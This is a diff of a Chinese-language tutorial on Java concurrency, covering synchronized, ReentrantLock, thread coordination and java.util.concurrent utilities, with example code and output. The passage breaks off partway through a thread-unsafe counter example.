+对于以下代码，使用 ExecutorService 执行了两个线程，由于调用的是同一个对象的同步代码块，因此这两个线程会进行同步，当一个线程进入同步语句块时，另一个线程就必须等待。
 
 ```java
-public class SynchronizedExample {
+public class SynchronizedExample {
 
-    public void func1() {
-        synchronized (this) {
-            for (int i = 0; i < 10; i++) {
-                System.out.print(i + " ");
-            }
-        }
-    }
+    public void func1() {
+        synchronized (this) {
+            for (int i = 0; i < 10; i++) {
+                System.out.print(i + " ");
+            }
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    SynchronizedExample e1 = new SynchronizedExample();
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    executorService.execute(() -> e1.func1());
-    executorService.execute(() -> e1.func1());
+public static void main(String[] args) {
+    SynchronizedExample e1 = new SynchronizedExample();
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    executorService.execute(() -> e1.func1());
+    executorService.execute(() -> e1.func1());
 }
 ```
 
 ```html
-0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
+0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
 ```
 
 对于以下代码，两个线程调用了不同对象的同步代码块，因此这两个线程就不需要同步。从输出结果可以看出，两个线程交叉执行。
 
 ```java
-public static void main(String[] args) {
-    SynchronizedExample e1 = new SynchronizedExample();
-    SynchronizedExample e2 = new SynchronizedExample();
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    executorService.execute(() -> e1.func1());
-    executorService.execute(() -> e2.func1());
+public static void main(String[] args) {
+    SynchronizedExample e1 = new SynchronizedExample();
+    SynchronizedExample e2 = new SynchronizedExample();
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    executorService.execute(() -> e1.func1());
+    executorService.execute(() -> e2.func1());
 }
 ```
 
 ```html
-0 0 1 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8 9 9
+0 0 1 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8 9 9
 ```
 
 
-**2. 同步一个方法**
+**2. 同步一个方法** 
 
 ```java
-public synchronized void func () {
-    // ...
+public synchronized void func () {
+    // ...
 }
 ```
 
 它和同步代码块一样，作用于同一个对象。
 
-**3. 同步一个类**
+**3. 同步一个类** 
 
 ```java
-public void func() {
-    synchronized (SynchronizedExample.class) {
-        // ...
-    }
+public void func() {
+    synchronized (SynchronizedExample.class) {
+        // ...
+    }
 }
 ```
 
 作用于整个类，也就是说两个线程调用同一个类的不同对象上的这种同步语句，也会进行同步。
 
 ```java
-public class SynchronizedExample {
+public class SynchronizedExample {
 
-    public void func2() {
-        synchronized (SynchronizedExample.class) {
-            for (int i = 0; i < 10; i++) {
-                System.out.print(i + " ");
-            }
-        }
-    }
+    public void func2() {
+        synchronized (SynchronizedExample.class) {
+            for (int i = 0; i < 10; i++) {
+                System.out.print(i + " ");
+            }
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    SynchronizedExample e1 = new SynchronizedExample();
-    SynchronizedExample e2 = new SynchronizedExample();
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    executorService.execute(() -> e1.func2());
-    executorService.execute(() -> e2.func2());
+public static void main(String[] args) {
+    SynchronizedExample e1 = new SynchronizedExample();
+    SynchronizedExample e2 = new SynchronizedExample();
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    executorService.execute(() -> e1.func2());
+    executorService.execute(() -> e2.func2());
 }
 ```
 
 ```html
-0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
+0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
 ```
 
-**4. 同步一个静态方法**
+**4. 同步一个静态方法** 
 
 ```java
-public synchronized static void fun() {
-    // ...
+public synchronized static void fun() {
+    // ...
 }
 ```
 
 作用于整个类。
 
-## ReentrantLock
+## ReentrantLock
 
-ReentrantLock 是 java.util.concurrent（J.U.C）包中的锁。
+ReentrantLock 是 java.util.concurrent（J.U.C）包中的锁。
 
 ```java
-public class LockExample {
+public class LockExample {
 
-    private Lock lock = new ReentrantLock();
+    private Lock lock = new ReentrantLock();
 
-    public void func() {
-        lock.lock();
-        try {
-            for (int i = 0; i < 10; i++) {
-                System.out.print(i + " ");
-            }
-        } finally {
-            lock.unlock(); // 确保释放锁，从而避免发生死锁。
-        }
-    }
+    public void func() {
+        lock.lock();
+        try {
+            for (int i = 0; i < 10; i++) {
+                System.out.print(i + " ");
+            }
+        } finally {
+            lock.unlock(); // 确保释放锁，从而避免发生死锁。
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    LockExample lockExample = new LockExample();
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    executorService.execute(() -> lockExample.func());
-    executorService.execute(() -> lockExample.func());
+public static void main(String[] args) {
+    LockExample lockExample = new LockExample();
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    executorService.execute(() -> lockExample.func());
+    executorService.execute(() -> lockExample.func());
 }
 ```
 
 ```html
-0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
+0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
 ```
 
 
-## 比较
+## 比较
 
-**1. 锁的实现**
+**1. 锁的实现** 
 
-synchronized 是 JVM 实现的，而 ReentrantLock 是 JDK 实现的。
+synchronized 是 JVM 实现的，而 ReentrantLock 是 JDK 实现的。
 
-**2. 性能**
+**2. 性能** 
 
-新版本 Java 对 synchronized 进行了很多优化，例如自旋锁等，synchronized 与 ReentrantLock 大致相同。
+新版本 Java 对 synchronized 进行了很多优化，例如自旋锁等，synchronized 与 ReentrantLock 大致相同。
 
-**3. 等待可中断**
+**3. 等待可中断** 
 
 当持有锁的线程长期不释放锁的时候，正在等待的线程可以选择放弃等待，改为处理其他事情。
 
-ReentrantLock 可中断，而 synchronized 不行。
+ReentrantLock 可中断，而 synchronized 不行。
 
-**4. 公平锁**
+**4. 公平锁** 
 
 公平锁是指多个线程在等待同一个锁时，必须按照申请锁的时间顺序来依次获得锁。
 
-synchronized 中的锁是非公平的，ReentrantLock 默认情况下也是非公平的，但是也可以是公平的。
+synchronized 中的锁是非公平的，ReentrantLock 默认情况下也是非公平的，但是也可以是公平的。
 
-**5. 锁绑定多个条件**
+**5. 锁绑定多个条件** 
 
-一个 ReentrantLock 可以同时绑定多个 Condition 对象。
+一个 ReentrantLock 可以同时绑定多个 Condition 对象。
 
-## 使用选择
+## 使用选择
 
-除非需要使用 ReentrantLock 的高级功能，否则优先使用 synchronized。这是因为 synchronized 是 JVM 实现的一种锁机制，JVM 原生地支持它，而 ReentrantLock 不是所有的 JDK 版本都支持。并且使用 synchronized 不用担心没有释放锁而导致死锁问题，因为 JVM 会确保锁的释放。
+除非需要使用 ReentrantLock 的高级功能，否则优先使用 synchronized。这是因为 synchronized 是 JVM 实现的一种锁机制，JVM 原生地支持它，而 ReentrantLock 不是所有的 JDK 版本都支持。并且使用 synchronized 不用担心没有释放锁而导致死锁问题，因为 JVM 会确保锁的释放。
 
-# 六、线程之间的协作
+# 六、线程之间的协作
 
 当多个线程可以一起工作去解决某个问题时，如果某些部分必须在其它部分之前完成，那么就需要对线程进行协调。
 
-## join()
+## join()
 
-在线程中调用另一个线程的 join() 方法，会将当前线程挂起，而不是忙等待，直到目标线程结束。
+在线程中调用另一个线程的 join() 方法，会将当前线程挂起，而不是忙等待，直到目标线程结束。
 
-对于以下代码，虽然 b 线程先启动，但是因为在 b 线程中调用了 a 线程的 join() 方法，b 线程会等待 a 线程结束才继续执行，因此最后能够保证 a 线程的输出先于 b 线程的输出。
+对于以下代码，虽然 b 线程先启动，但是因为在 b 线程中调用了 a 线程的 join() 方法，b 线程会等待 a 线程结束才继续执行，因此最后能够保证 a 线程的输出先于 b 线程的输出。
 
 ```java
-public class JoinExample {
+public class JoinExample {
 
-    private class A extends Thread {
-        @Override
-        public void run() {
-            System.out.println("A");
-        }
-    }
+    private class A extends Thread {
+        @Override
+        public void run() {
+            System.out.println("A");
+        }
+    }
 
-    private class B extends Thread {
+    private class B extends Thread {
 
-        private A a;
+        private A a;
 
-        B(A a) {
-            this.a = a;
-        }
+        B(A a) {
+            this.a = a;
+        }
 
-        @Override
-        public void run() {
-            try {
-                a.join();
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-            System.out.println("B");
-        }
-    }
+        @Override
+        public void run() {
+            try {
+                a.join();
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            System.out.println("B");
+        }
+    }
 
-    public void test() {
-        A a = new A();
-        B b = new B(a);
-        b.start();
-        a.start();
-    }
+    public void test() {
+        A a = new A();
+        B b = new B(a);
+        b.start();
+        a.start();
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    JoinExample example = new JoinExample();
-    example.test();
+public static void main(String[] args) {
+    JoinExample example = new JoinExample();
+    example.test();
 }
 ```
 
@@ -565,41 +627,41 @@ A
 B
 ```
 
-## wait() notify() notifyAll()
+## wait() notify() notifyAll()
 
-调用 wait() 使得线程等待某个条件满足，线程在等待时会被挂起，当其他线程的运行使得这个条件满足时，其它线程会调用 notify() 或者 notifyAll() 来唤醒挂起的线程。
+调用 wait() 使得线程等待某个条件满足，线程在等待时会被挂起，当其他线程的运行使得这个条件满足时，其它线程会调用 notify() 或者 notifyAll() 来唤醒挂起的线程。
 
-它们都属于 Object 的一部分，而不属于 Thread。
+它们都属于 Object 的一部分，而不属于 Thread。
 
-只能用在同步方法或者同步控制块中使用，否则会在运行时抛出 IllegalMonitorStateException。
+只能用在同步方法或者同步控制块中使用，否则会在运行时抛出 IllegalMonitorStateException。
 
-使用 wait() 挂起期间，线程会释放锁。这是因为，如果没有释放锁，那么其它线程就无法进入对象的同步方法或者同步控制块中，那么就无法执行 notify() 或者 notifyAll() 来唤醒挂起的线程，造成死锁。
+使用 wait() 挂起期间，线程会释放锁。这是因为，如果没有释放锁，那么其它线程就无法进入对象的同步方法或者同步控制块中，那么就无法执行 notify() 或者 notifyAll() 来唤醒挂起的线程，造成死锁。
 
 ```java
-public class WaitNotifyExample {
+public class WaitNotifyExample {
 
-    public synchronized void before() {
-        System.out.println("before");
-        notifyAll();
-    }
+    public synchronized void before() {
+        System.out.println("before");
+        notifyAll();
+    }
 
-    public synchronized void after() {
-        try {
-            wait();
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        }
-        System.out.println("after");
-    }
+    public synchronized void after() {
+        try {
+            wait();
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+        System.out.println("after");
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    WaitNotifyExample example = new WaitNotifyExample();
-    executorService.execute(() -> example.after());
-    executorService.execute(() -> example.before());
+public static void main(String[] args) {
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    WaitNotifyExample example = new WaitNotifyExample();
+    executorService.execute(() -> example.after());
+    executorService.execute(() -> example.before());
 }
 ```
 
@@ -608,55 +670,55 @@ before
 after
 ```
 
-**wait() 和 sleep() 的区别**
+**wait() 和 sleep() 的区别** 
 
-- wait() 是 Object 的方法，而 sleep() 是 Thread 的静态方法；
-- wait() 会释放锁，sleep() 不会。
+- wait() 是 Object 的方法，而 sleep() 是 Thread 的静态方法；
+- wait() 会释放锁，sleep() 不会。
 
-## await() signal() signalAll()
+## await() signal() signalAll()
 
-java.util.concurrent 类库中提供了 Condition 类来实现线程之间的协调，可以在 Condition 上调用 await() 方法使线程等待，其它线程调用 signal() 或 signalAll() 方法唤醒等待的线程。
+java.util.concurrent 类库中提供了 Condition 类来实现线程之间的协调，可以在 Condition 上调用 await() 方法使线程等待，其它线程调用 signal() 或 signalAll() 方法唤醒等待的线程。
 
-相比于 wait() 这种等待方式，await() 可以指定等待的条件，因此更加灵活。
+相比于 wait() 这种等待方式，await() 可以指定等待的条件，因此更加灵活。
 
-使用 Lock 来获取一个 Condition 对象。
+使用 Lock 来获取一个 Condition 对象。
 
 ```java
-public class AwaitSignalExample {
+public class AwaitSignalExample {
 
-    private Lock lock = new ReentrantLock();
-    private Condition condition = lock.newCondition();
+    private Lock lock = new ReentrantLock();
+    private Condition condition = lock.newCondition();
 
-    public void before() {
-        lock.lock();
-        try {
-            System.out.println("before");
-            condition.signalAll();
-        } finally {
-            lock.unlock();
-        }
-    }
+    public void before() {
+        lock.lock();
+        try {
+            System.out.println("before");
+            condition.signalAll();
+        } finally {
+            lock.unlock();
+        }
+    }
 
-    public void after() {
-        lock.lock();
-        try {
-            condition.await();
-            System.out.println("after");
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        } finally {
-            lock.unlock();
-        }
-    }
+    public void after() {
+        lock.lock();
+        try {
+            condition.await();
+            System.out.println("after");
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        } finally {
+            lock.unlock();
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    AwaitSignalExample example = new AwaitSignalExample();
-    executorService.execute(() -> example.after());
-    executorService.execute(() -> example.before());
+public static void main(String[] args) {
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    AwaitSignalExample example = new AwaitSignalExample();
+    executorService.execute(() -> example.after());
+    executorService.execute(() -> example.before());
 }
 ```
 
@@ -665,35 +727,35 @@ before
 after
 ```
 
-# 七、J.U.C - AQS
+# 七、J.U.C - AQS
 
-java.util.concurrent（J.U.C）大大提高了并发性能，AQS 被认为是 J.U.C 的核心。
+java.util.concurrent（J.U.C）大大提高了并发性能，AQS 被认为是 J.U.C 的核心。
 
-## CountdownLatch
+## CountdownLatch
 
 用来控制一个线程等待多个线程。
 
-维护了一个计数器 cnt，每次调用 countDown() 方法会让计数器的值减 1，减到 0 的时候，那些因为调用 await() 方法而在等待的线程就会被唤醒。
+维护了一个计数器 cnt，每次调用 countDown() 方法会让计数器的值减 1，减到 0 的时候，那些因为调用 await() 方法而在等待的线程就会被唤醒。
 
-<img src="index_files/CountdownLatch.png" width=""/>
+<div align="center"> <img src="pics/CountdownLatch.png" width=""/> </div><br>
 
 ```java
-public class CountdownLatchExample {
+public class CountdownLatchExample {
 
-    public static void main(String[] args) throws InterruptedException {
-        final int totalThread = 10;
-        CountDownLatch countDownLatch = new CountDownLatch(totalThread);
-        ExecutorService executorService = Executors.newCachedThreadPool();
-        for (int i = 0; i < totalThread; i++) {
-            executorService.execute(() -> {
-                System.out.print("run..");
-                countDownLatch.countDown();
-            });
-        }
-        countDownLatch.await();
-        System.out.println("end");
-        executorService.shutdown();
-    }
+    public static void main(String[] args) throws InterruptedException {
+        final int totalThread = 10;
+        CountDownLatch countDownLatch = new CountDownLatch(totalThread);
+        ExecutorService executorService = Executors.newCachedThreadPool();
+        for (int i = 0; i < totalThread; i++) {
+            executorService.execute(() -> {
+                System.out.print("run..");
+                countDownLatch.countDown();
+            });
+        }
+        countDownLatch.await();
+        System.out.println("end");
+        executorService.shutdown();
+    }
 }
 ```
 
@@ -701,51 +763,51 @@ public class CountdownLatchExample {
 run..run..run..run..run..run..run..run..run..run..end
 ```
 
-## CyclicBarrier
+## CyclicBarrier
 
 用来控制多个线程互相等待，只有当多个线程都到达时，这些线程才会继续执行。
 
-和 CountdownLatch 相似，都是通过维护计数器来实现的。线程执行 await() 方法之后计数器会减 1，并进行等待，直到计数器为 0，所有调用 await() 方法而在等待的线程才能继续执行。
+和 CountdownLatch 相似，都是通过维护计数器来实现的。线程执行 await() 方法之后计数器会减 1，并进行等待，直到计数器为 0，所有调用 await() 方法而在等待的线程才能继续执行。
 
-CyclicBarrier 和 CountdownLatch 的一个区别是，CyclicBarrier 的计数器通过调用 reset() 方法可以循环使用，所以它才叫做循环屏障。
+CyclicBarrier 和 CountdownLatch 的一个区别是，CyclicBarrier 的计数器通过调用 reset() 方法可以循环使用，所以它才叫做循环屏障。
 
-CyclicBarrier 有两个构造函数，其中 parties 指示计数器的初始值，barrierAction 在所有线程都到达屏障的时候会执行一次。
+CyclicBarrier 有两个构造函数，其中 parties 指示计数器的初始值，barrierAction 在所有线程都到达屏障的时候会执行一次。
 
 ```java
-public CyclicBarrier(int parties, Runnable barrierAction) {
-    if (parties <= 0) throw new IllegalArgumentException();
-    this.parties = parties;
-    this.count = parties;
-    this.barrierCommand = barrierAction;
+public CyclicBarrier(int parties, Runnable barrierAction) {
+    if (parties <= 0) throw new IllegalArgumentException();
+    this.parties = parties;
+    this.count = parties;
+    this.barrierCommand = barrierAction;
 }
 
-public CyclicBarrier(int parties) {
-    this(parties, null);
+public CyclicBarrier(int parties) {
+    this(parties, null);
 }
 ```
 
-<img src="index_files/CyclicBarrier.png" width=""/>
+<div align="center"> <img src="pics/CyclicBarrier.png" width=""/> </div><br>
 
 ```java
-public class CyclicBarrierExample {
+public class CyclicBarrierExample {
 
-    public static void main(String[] args) {
-        final int totalThread = 10;
-        CyclicBarrier cyclicBarrier = new CyclicBarrier(totalThread);
-        ExecutorService executorService = Executors.newCachedThreadPool();
-        for (int i = 0; i < totalThread; i++) {
-            executorService.execute(() -> {
-                System.out.print("before..");
-                try {
-                    cyclicBarrier.await();
-                } catch (InterruptedException | BrokenBarrierException e) {
-                    e.printStackTrace();
-                }
-                System.out.print("after..");
-            });
-        }
-        executorService.shutdown();
-    }
+    public static void main(String[] args) {
+        final int totalThread = 10;
+        CyclicBarrier cyclicBarrier = new CyclicBarrier(totalThread);
+        ExecutorService executorService = Executors.newCachedThreadPool();
+        for (int i = 0; i < totalThread; i++) {
+            executorService.execute(() -> {
+                System.out.print("before..");
+                try {
+                    cyclicBarrier.await();
+                } catch (InterruptedException | BrokenBarrierException e) {
+                    e.printStackTrace();
+                }
+                System.out.print("after..");
+            });
+        }
+        executorService.shutdown();
+    }
 }
 ```
 
@@ -753,154 +815,154 @@ public class CyclicBarrierExample {
 before..before..before..before..before..before..before..before..before..before..after..after..after..after..after..after..after..after..after..after..
 ```
 
-## Semaphore
+## Semaphore
 
-Semaphore 类似于操作系统中的信号量，可以控制对互斥资源的访问线程数。
+Semaphore 类似于操作系统中的信号量，可以控制对互斥资源的访问线程数。
 
-<img src="index_files/Semaphore.png" width=""/>
+<div align="center"> <img src="pics/Semaphore.png" width=""/> </div><br>
 
-以下代码模拟了对某个服务的并发请求，每次只能有 3 个客户端同时访问，请求总数为 10。
+以下代码模拟了对某个服务的并发请求，每次只能有 3 个客户端同时访问，请求总数为 10。
 
 ```java
-public class SemaphoreExample {
+public class SemaphoreExample {
 
-    public static void main(String[] args) {
-        final int clientCount = 3;
-        final int totalRequestCount = 10;
-        Semaphore semaphore = new Semaphore(clientCount);
-        ExecutorService executorService = Executors.newCachedThreadPool();
-        for (int i = 0; i < totalRequestCount; i++) {
-            executorService.execute(()->{
-                try {
-                    semaphore.acquire();
-                    System.out.print(semaphore.availablePermits() + " ");
-                } catch (InterruptedException e) {
-                    e.printStackTrace();
-                } finally {
-                    semaphore.release();
-                }
-            });
-        }
-        executorService.shutdown();
-    }
+    public static void main(String[] args) {
+        final int clientCount = 3;
+        final int totalRequestCount = 10;
+        Semaphore semaphore = new Semaphore(clientCount);
+        ExecutorService executorService = Executors.newCachedThreadPool();
+        for (int i = 0; i < totalRequestCount; i++) {
+            executorService.execute(()->{
+                try {
+                    semaphore.acquire();
+                    System.out.print(semaphore.availablePermits() + " ");
+                } catch (InterruptedException e) {
+                    e.printStackTrace();
+                } finally {
+                    semaphore.release();
+                }
+            });
+        }
+        executorService.shutdown();
+    }
 }
 ```
 
 ```html
-2 1 2 2 2 2 2 1 2 2
+2 1 2 2 2 2 2 1 2 2
 ```
 
-# 八、J.U.C - 其它组件
+# 八、J.U.C - 其它组件
 
-## FutureTask
+## FutureTask
 
-在介绍 Callable 时我们知道它可以有返回值，返回值通过 Future<V> 进行封装。FutureTask 实现了 RunnableFuture 接口，该接口继承自 Runnable 和 Future<V> 接口，这使得 FutureTask 既可以当做一个任务执行，也可以有返回值。
+在介绍 Callable 时我们知道它可以有返回值，返回值通过 Future<V> 进行封装。FutureTask 实现了 RunnableFuture 接口，该接口继承自 Runnable 和 Future<V> 接口，这使得 FutureTask 既可以当做一个任务执行，也可以有返回值。
 
 ```java
-public class FutureTask<V> implements RunnableFuture<V>
+public class FutureTask<V> implements RunnableFuture<V>
 ```
 
 ```java
-public interface RunnableFuture<V> extends Runnable, Future<V>
+public interface RunnableFuture<V> extends Runnable, Future<V>
 ```
 
-FutureTask 可用于异步获取执行结果或取消执行任务的场景。当一个计算任务需要执行很长时间，那么就可以用 FutureTask 来封装这个任务，主线程在完成自己的任务之后再去获取结果。
+FutureTask 可用于异步获取执行结果或取消执行任务的场景。当一个计算任务需要执行很长时间，那么就可以用 FutureTask 来封装这个任务，主线程在完成自己的任务之后再去获取结果。
 
 ```java
-public class FutureTaskExample {
+public class FutureTaskExample {
 
-    public static void main(String[] args) throws ExecutionException, InterruptedException {
-        FutureTask<Integer> futureTask = new FutureTask<Integer>(new Callable<Integer>() {
-            @Override
-            public Integer call() throws Exception {
-                int result = 0;
-                for (int i = 0; i < 100; i++) {
-                    Thread.sleep(10);
-                    result += i;
-                }
-                return result;
-            }
-        });
+    public static void main(String[] args) throws ExecutionException, InterruptedException {
+        FutureTask<Integer> futureTask = new FutureTask<Integer>(new Callable<Integer>() {
+            @Override
+            public Integer call() throws Exception {
+                int result = 0;
+                for (int i = 0; i < 100; i++) {
+                    Thread.sleep(10);
+                    result += i;
+                }
+                return result;
+            }
+        });
 
-        Thread computeThread = new Thread(futureTask);
-        computeThread.start();
+        Thread computeThread = new Thread(futureTask);
+        computeThread.start();
 
-        Thread otherThread = new Thread(() -> {
-            System.out.println("other task is running...");
-            try {
-                Thread.sleep(1000);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        });
-        otherThread.start();
-        System.out.println(futureTask.get());
-    }
+        Thread otherThread = new Thread(() -> {
+            System.out.println("other task is running...");
+            try {
+                Thread.sleep(1000);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        });
+        otherThread.start();
+        System.out.println(futureTask.get());
+    }
 }
 ```
 
 ```html
-other task is running...
+other task is running...
 4950
 ```
 
-## BlockingQueue
+## BlockingQueue
 
-java.util.concurrent.BlockingQueue 接口有以下阻塞队列的实现：
+java.util.concurrent.BlockingQueue 接口有以下阻塞队列的实现：
 
-- **FIFO 队列**：LinkedBlockingQueue、ArrayBlockingQueue（固定长度）
-- **优先级队列**：PriorityBlockingQueue
+-  **FIFO 队列** ：LinkedBlockingQueue、ArrayBlockingQueue（固定长度）
+-  **优先级队列** ：PriorityBlockingQueue
 
-提供了阻塞的 take() 和 put() 方法：如果队列为空 take() 将阻塞，直到队列中有内容；如果队列为满 put() 将阻塞，直到队列有空闲位置。
+提供了阻塞的 take() 和 put() 方法：如果队列为空 take() 将阻塞，直到队列中有内容；如果队列为满 put() 将阻塞，直到队列有空闲位置。
 
-**使用 BlockingQueue 实现生产者消费者问题**
+**使用 BlockingQueue 实现生产者消费者问题** 
 
 ```java
-public class ProducerConsumer {
+public class ProducerConsumer {
 
-    private static BlockingQueue<String> queue = new ArrayBlockingQueue<>(5);
+    private static BlockingQueue<String> queue = new ArrayBlockingQueue<>(5);
 
-    private static class Producer extends Thread {
-        @Override
-        public void run() {
-            try {
-                queue.put("product");
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-            System.out.print("produce..");
-        }
-    }
+    private static class Producer extends Thread {
+        @Override
+        public void run() {
+            try {
+                queue.put("product");
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            System.out.print("produce..");
+        }
+    }
 
-    private static class Consumer extends Thread {
+    private static class Consumer extends Thread {
 
-        @Override
-        public void run() {
-            try {
-                String product = queue.take();
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-            System.out.print("consume..");
-        }
-    }
+        @Override
+        public void run() {
+            try {
+                String product = queue.take();
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            System.out.print("consume..");
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    for (int i = 0; i < 2; i++) {
-        Producer producer = new Producer();
-        producer.start();
-    }
-    for (int i = 0; i < 5; i++) {
-        Consumer consumer = new Consumer();
-        consumer.start();
-    }
-    for (int i = 0; i < 3; i++) {
-        Producer producer = new Producer();
-        producer.start();
-    }
+public static void main(String[] args) {
+    for (int i = 0; i < 2; i++) {
+        Producer producer = new Producer();
+        producer.start();
+    }
+    for (int i = 0; i < 5; i++) {
+        Consumer consumer = new Consumer();
+        consumer.start();
+    }
+    for (int i = 0; i < 3; i++) {
+        Producer producer = new Producer();
+        producer.start();
+    }
 }
 ```
 
@@ -908,99 +970,99 @@ public static void main(String[] args) {
 produce..produce..consume..consume..produce..consume..produce..consume..produce..consume..
 ```
 
-## ForkJoin
+## ForkJoin
 
-主要用于并行计算中，和 MapReduce 原理类似，都是把大的计算任务拆分成多个小任务并行计算。
+主要用于并行计算中，和 MapReduce 原理类似，都是把大的计算任务拆分成多个小任务并行计算。
 
 ```java
-public class ForkJoinExample extends RecursiveTask<Integer> {
+public class ForkJoinExample extends RecursiveTask<Integer> {
 
-    private final int threshold = 5;
-    private int first;
-    private int last;
+    private final int threshold = 5;
+    private int first;
+    private int last;
 
-    public ForkJoinExample(int first, int last) {
-        this.first = first;
-        this.last = last;
-    }
+    public ForkJoinExample(int first, int last) {
+        this.first = first;
+        this.last = last;
+    }
 
-    @Override
-    protected Integer compute() {
-        int result = 0;
-        if (last - first <= threshold) {
-            // 任务足够小则直接计算
-            for (int i = first; i <= last; i++) {
-                result += i;
-            }
-        } else {
-            // 拆分成小任务
-            int middle = first + (last - first) / 2;
-            ForkJoinExample leftTask = new ForkJoinExample(first, middle);
-            ForkJoinExample rightTask = new ForkJoinExample(middle + 1, last);
-            leftTask.fork();
-            rightTask.fork();
-            result = leftTask.join() + rightTask.join();
-        }
-        return result;
-    }
+    @Override
+    protected Integer compute() {
+        int result = 0;
+        if (last - first <= threshold) {
+            // 任务足够小则直接计算
+            for (int i = first; i <= last; i++) {
+                result += i;
+            }
+        } else {
+            // 拆分成小任务
+            int middle = first + (last - first) / 2;
+            ForkJoinExample leftTask = new ForkJoinExample(first, middle);
+            ForkJoinExample rightTask = new ForkJoinExample(middle + 1, last);
+            leftTask.fork();
+            rightTask.fork();
+            result = leftTask.join() + rightTask.join();
+        }
+        return result;
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws ExecutionException, InterruptedException {
-    ForkJoinExample example = new ForkJoinExample(1, 10000);
-    ForkJoinPool forkJoinPool = new ForkJoinPool();
-    Future result = forkJoinPool.submit(example);
-    System.out.println(result.get());
+public static void main(String[] args) throws ExecutionException, InterruptedException {
+    ForkJoinExample example = new ForkJoinExample(1, 10000);
+    ForkJoinPool forkJoinPool = new ForkJoinPool();
+    Future result = forkJoinPool.submit(example);
+    System.out.println(result.get());
 }
 ```
 
-ForkJoin 使用 ForkJoinPool 来启动，它是一个特殊的线程池，线程数量取决于 CPU 核数。
+ForkJoin 使用 ForkJoinPool 来启动，它是一个特殊的线程池，线程数量取决于 CPU 核数。
 
 ```java
-public class ForkJoinPool extends AbstractExecutorService
+public class ForkJoinPool extends AbstractExecutorService
 ```
 
-ForkJoinPool 实现了工作窃取算法来提高 CPU 的利用率。每个线程都维护了一个双端队列，用来存储需要执行的任务。工作窃取算法允许空闲的线程从其它线程的双端队列中窃取一个任务来执行。窃取的任务必须是最晚的任务，避免和队列所属线程发生竞争。例如下图中，Thread2 从 Thread1 的队列中拿出最晚的 Task1 任务，Thread1 会拿出 Task2 来执行，这样就避免发生竞争。但是如果队列中只有一个任务时还是会发生竞争。
+ForkJoinPool 实现了工作窃取算法来提高 CPU 的利用率。每个线程都维护了一个双端队列，用来存储需要执行的任务。工作窃取算法允许空闲的线程从其它线程的双端队列中窃取一个任务来执行。窃取的任务必须是最晚的任务，避免和队列所属线程发生竞争。例如下图中，Thread2 从 Thread1 的队列中拿出最晚的 Task1 任务，Thread1 会拿出 Task2 来执行，这样就避免发生竞争。但是如果队列中只有一个任务时还是会发生竞争。
 
-<img src="index_files/15b45dc6-27aa-4519-9194-f4acfa2b077f.jpg" width=""/>
+<div align="center"> <img src="pics/15b45dc6-27aa-4519-9194-f4acfa2b077f.jpg" width=""/> </div><br>
 
-# 九、线程不安全示例
+# 九、线程不安全示例
 
 如果多个线程对同一个共享数据进行访问而不采取同步操作的话，那么操作的结果是不一致的。
 
-以下代码演示了 1000 个线程同时对 cnt 执行自增操作，操作结束之后它的值有可能小于 1000。
+以下代码演示了 1000 个线程同时对 cnt 执行自增操作，操作结束之后它的值有可能小于 1000。
 
 ```java
-public class ThreadUnsafeExample {
+public class ThreadUnsafeExample {
 
-    private int cnt = 0;
+    private int cnt = 0;
 
-    public void add() {
-        cnt++;
-    }
+    public void add() {
+        cnt++;
+    }
 
-    public int get() {
-        return cnt;
-    }
+    public int get() {
+        return cnt;
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws InterruptedException {
-    final int threadSize = 1000;
-    ThreadUnsafeExample example = new ThreadUnsafeExample();
-    final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    for (int i = 0; i < threadSize; i++) {
-        executorService.execute(() -> {
-            example.add();
-            countDownLatch.countDown();
-        });
-    }
-    countDownLatch.await();
-    executorService.shutdown();
-    System.out.println(example.get());
+public static void main(String[] args) throws InterruptedException {
+    final int threadSize = 1000;
+    ThreadUnsafeExample example = new ThreadUnsafeExample();
+    final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    for (int i = 0; i < threadSize; i++) {
+        executorService.execute(() -> {
+            example.add();
